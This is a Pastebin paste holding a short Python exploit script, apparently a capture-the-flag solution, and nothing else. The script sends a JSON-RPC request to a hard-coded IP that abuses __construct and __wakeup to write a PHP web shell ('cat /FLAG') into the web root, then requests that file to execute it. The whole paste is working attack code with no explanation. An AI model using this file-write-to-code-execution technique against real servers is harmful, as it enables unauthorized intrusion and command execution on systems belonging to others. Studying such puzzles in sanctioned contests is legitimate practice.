Advertisement
Guest User

Untitled

a guest
Feb 9th, 2014
7,124
0
Never
Not a member of Pastebin yet? Sign Up, it unlocks many cool features!
Python 0.60 KB | None | 0 0
  1. # coding: UTF-8
  2. import requests
  3.  
  4. headers  = { "Content-Type" : "application/x-www-form-urlencoded" }
  5. filename = "bb.php"
  6. payload  = "<?php echo `cat /FLAG`;?>"
  7. data     = 'rpc_json_call=[{"jsonrpc": "2.0", "id":1, "method": "__construct", "params":{"log_dir":"/var/www/%s", "debug": true, "state":"%s"  }},{"jsonrpc": "2.0", "id":1, "method": "__wakeup", "params":{}}]' % (filename, payload)
  8.  
  9. print requests.post( "http://109.233.61.11:8880/",
  10.                      data=data,
  11.                      headers=headers ).content
  12. print
  13. print requests.get("http://109.233.61.11:8880/%s" % filename).content
Advertisement
Add Comment
Please, Sign In to add comment
Advertisement